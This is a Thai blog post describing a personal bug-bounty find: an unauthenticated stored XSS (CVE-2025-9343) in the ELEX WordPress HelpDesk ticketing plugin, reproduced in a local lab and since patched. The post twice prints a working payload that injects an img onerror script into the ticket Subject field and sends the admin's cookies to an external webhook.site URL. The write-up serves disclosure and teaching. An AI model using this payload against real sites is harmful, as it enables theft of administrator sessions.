แชร์ประสบการณ์ค้นหาช่องโหว่ปลั๊กอิน WordPress – ครั้งแรกก็เจอ Stored XSS ได้ทั้ง CVE พร้อม Bounty ฉ่ำ ๆ

ก่อนหน้านี้แอดเคยแนะนำแพลตฟอร์มสำหรับเหล่า White Hat Hacker ที่อยากมีเลข CVE เป็นชื่อตัวเอง แถมได้เงิน (Bounty) จากการค้นหาช่องโหว่ด้วย ซึ่งแพลตฟอร์มที่แอดเล่นมี 2 แห่ง คือ WordFence และ Patchstack

และปีใหม่นี้ก็ได้ฤกษ์แชร์ประสบการณ์ การค้นหาช่องโหว่ตัวแรกสุดที่แอดเจอแบบไม่ได้ตั้งใจ จากการลองหาเล่น ๆ สู่การเป็น Bounty Hunter ในปัจจุบัน และช่องโหว่นั้นก็คือ CVE-2025-9343 ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.4 – Unauthenticated Stored Cross-Site Scripting

อธิบายช่องโหว่นี้ง่าย ๆ คือ ผู้โจมตีสามารถฝังสคริปต์ลงไปใน Ticket ที่ส่งหาแอดมินของเว็บไซต์ได้ เพื่อก่อกวนหรือรุนแรงถึงการขโมยคุกกี้เพื่อสวมรอยแอดมิน โดยที่ไม่จำเป็นต้องล็อกอินใด ๆ เลย ซึ่งช่องโหว่นี้จริง ๆ อยากเอามาแชร์นานแล้ว แต่ติดที่ทาง WordFence ยังไม่เผยแพร่ให้สักที จึงต้องรอจนเขาเพิ่งปล่อยออกมาเมื่อไม่นานนี้เองครับ

 

ทดสอบช่องโหว่

แอดทำการทดสอบช่องโหว่ผ่าน WordPress ที่ติดตั้งบน XAMPP (เราสามารถใช้ Docker ได้นะครับ เร็วกว่าด้วย) หลังทำการติดตั้งปลั๊กอิน ELEX WordPress HelpDesk & Customer Ticketing System ในเวอร์ชันตั้งแต่ 3.3.4 หรือต่ำกว่า ก็เข้าไปตั้งค่าปลั๊กอินนิดหน่อยให้ใช้งานได้ครับ

ตั้งค่าหน้าเพจและข้อมูลการติดต่อแอดมิน ที่เหลือใช้ค่าดั้งเดิมทั้งหมดของปลั๊กอิน
เสร็จแล้วลองเข้าไปดูใน Ticket ตอนนี้ยังไม่มีข้อมูลตั๋วนะครับ

จากนั้นก็เปิดแท็บ Incognito (ไม่ระบุตัวตน) เพื่อจำลองว่าเราเป็นผู้เข้าชมเว็บแบบ Unauthenticated (ยังไม่ได้ล็อกอิน) แล้วเข้าสู่หน้าที่จะส่งตั๋วไปหาซัพพอร์ตของเว็บไซต์

อีกแท็บหนึ่งให้เราเข้า webhook แล้วนำ url จาก webhook มาใช้ เสมือนเป็นเซิร์ฟเวอร์ปลายทางที่เราจะให้สคริปต์ของเราส่งข้อมูลไป

เมื่อได้องค์ประกอบครบ แอดก็ทำการใส่สคริปต์ไว้ในส่วน Subject ขณะที่ส่วน Email และ Description ใส่ข้อมูลตามปกติ สคริปต์ที่ใช้คือ 

<img src=x onerror=”(new Image).src=’https://webhook.site/43574285-3dd1-4e6d-b7d0-d9050e3ef881?c=’+encodeURIComponent(document.cookie)”>

จากนั้นก็กดส่งตั๋วไปหาแอดมิน

กลับมาที่ฝั่งแอดมินของเว็บไซต์ รีเฟรชหน้าดูตั๋วอีกครั้ง จะพบว่ามีตั๋วส่งเข้ามาจริง ดูเผิน ๆ ฝั่งแอดมินอาจจะไม่เห็นอะไรใช่ไหมครับ เรากลับมาที่ฝั่งผู้เข้าชมเว็บ (ผู้โจมตี) กันบ้าง

เมื่อดูใน webhook อีกครั้ง จะพบว่าจู่ ๆ มีข้อมูลส่งเข้ามาจากเว็บ WordPress ซึ่งในนั้นมีข้อมูลคุกกี้ของแอดมินด้วย !! แบบนี้ก็หวานปาก Attacker เลยสินะ

 

วิเคราะห์ช่องโหว่

เรามาดูที่ภาพนี้กันครับ จากภาพจะเห็นว่า ปลั๊กอินเปิดให้ผู้ใช้ส่งข้อความตั๋วเข้ามาได้ แต่ระบบไม่ได้ตรวจสอบหรือแปลงข้อมูลที่ผู้ใช้กรอกเลย ทำให้ผู้ใช้สามารถใส่โค้ด HTML แฝงเข้ามาได้

ตามปกติแล้ว ข้อมูลที่ผู้ใช้กรอกควรถูกแสดงผลเป็น “ข้อความธรรมดา” แต่ในกรณีนี้ ระบบกลับนำข้อมูลนั้นไปแสดงผลแบบ HTML จริง ๆ

เมื่อผู้โจมตีใส่โค้ดนี้เข้าไปในตั๋ว

<img src=x onerror=”(new Image).src=’https://webhook.site/43574285-3dd1-4e6d-b7d0-d9050e3ef881?c=’+encodeURIComponent(document.cookie)”>

แล้วแอดมินเปิดหน้าดูรายการตั๋ว ระบบจะพยายามโหลดภาพชื่อ x แต่ไม่พบไฟล์ภาพดังกล่าว

ผลก็คือเบราว์เซอร์จะเรียกคำสั่ง onerror ขึ้นมาทำงานโดยอัตโนมัติ (ซึ่งจริง ๆ อย่างน้อยมันควรถูกกรองหรือเข้ารหัสให้ออกมาอยู่ในรูปแบบ &lt;img src=x….&gt; อะไรแบบนี้)

เนื่องจาก onerror สามารถรันสคริปต์ได้ โค้ดที่อยู่ด้านหลังจึงถูกสั่งให้ทำงาน และทำการส่งข้อมูลคุกกี้ของแอดมินไปยัง webhook ที่ผู้โจมตีเตรียมไว้ ผลลสุดท้ายคือแอดมินถูกขโมยคุกกี้ จบปิ๊ง

ปัจจุบันปลั๊กอิน ELEX WordPress HelpDesk & Customer Ticketing System ได้ทำการอัปเดตแพตช์ปิดช่องโหว่เรียบร้อย แต่ถ้าใครอยากลองก็ลองหาโหลดมาทดสอบได้ที่ลิงก์นี้ https://wordpress.org/plugins/elex-helpdesk-customer-support-ticket-system/advanced/ ดูในส่วน Advanced Options นะครับ

Happy Hacking

Related articles

[HOW TO] ตั้งค่า Microsoft Word ให้ Save งานลงในโฟลเดอร์ที่ต้องการ แทน OneDrive

คิดว่าคนที่ทำงานเอกสารน่าจะคุ้นเคยกับฟีเจอร์ “เซฟงานลง OneDrive” กันอย่างแน่นอน เพราะมันช่วยให้งานของเราถูกเก็บลงในไดรฟ์ออนไลน์ในบัญชี Microsoft เราสามารถซิงก์งานลงบนคลาวด์ได้อัตโนมัติ แถมเป็นการป้องกันไฟล์สูญหายได้ด้วย แต่แอดเชื่อว่าหลาย ๆ...

[HOW TO] หยุดปีใหม่ว่าง ๆ มาหาช่องโหว่กัน !! – สมัคร Patchstack รายงานช่องโหว่ WordPress

ในช่วงวันหยุดนี้ ใครอยู่บ้านเบื่อ ๆ มาลองหาช่องโหว่ เพื่อรายงานรับเลข CVE และถ้าทำแต้มได้เยอะ ๆ ก็อาจจะได้รับ...

รีวิว iQOO 15 ตัวแรงสายเกม สเปคจัดเต็มชิปตัวท็อปแบตอึด 7000 mAh แล้วยังชาร์จไว 100W!!

มาแล้วว !! อีกหนึ่งมือถือตัวแรงส่งท้ายปี ที่เหล่าเกมเมอร์หลายคนรอคอย กับ iQOO 15 ซึ่งรอบนี้สเปคเขาสมกับการเฝ้ารอจริง ๆ...

รีวิว ASUS ExpertCenter P500 SFF คอมสำนักงาน ที่ต้องการความแรง + ทนทาน

ในยุคที่หลายคนพูดถึงความคล่องตัวของ Laptop …แต่ผมบอกเลยว่ายังไง PC ก็ยืดหยุ่น และใช้งานได้นานกว่า หลายครั้งที่เรากำลังหาคอมพิวเตอร์มาใช้งานในสำนักงานสักเครื่อง ต้องบอกว่า มันมีหลายปัจจัยมากๆ...

HOW TO – ไล่ล่าหา CVE ตัวแรก บน Wordfence Bug Bounty Program ทำยังไงไปดู !!

ในที่สุดหลังจากรอมานาน ตอนนี้แอดได้รับการเผยแพร่ CVE อย่างเป็นทางการแล้ว ดังนั้น แอดก็จะสามารถเขียนเนื้อหาได้แบบจัดเต็ม เดี๋ยวจะเล่าให้ฟังว่าไปหามายังไง และใช้แพลตฟอร์มไหนครับ แต่ก่อนอื่นเรามาทำความเข้าใจนิยามแต่ละอย่างกันก่อน...

เราใช้คุกกี้เพื่อพัฒนาประสิทธิภาพ และประสบการณ์ที่ดีในการใช้เว็บไซต์ของคุณ คุณสามารถศึกษารายละเอียดได้ที่ นโยบายความเป็นส่วนตัว และสามารถจัดการความเป็นส่วนตัวเองได้ของคุณได้เองโดยคลิกที่ ตั้งค่า

ตั้งค่าความเป็นส่วนตัว

คุณสามารถเลือกการตั้งค่าคุกกี้โดยเปิด/ปิด คุกกี้ในแต่ละประเภทได้ตามความต้องการ ยกเว้น คุกกี้ที่จำเป็น

ยอมรับทั้งหมด
จัดการความเป็นส่วนตัว
  • เปิดใช้งานตลอด

บันทึกการตั้งค่า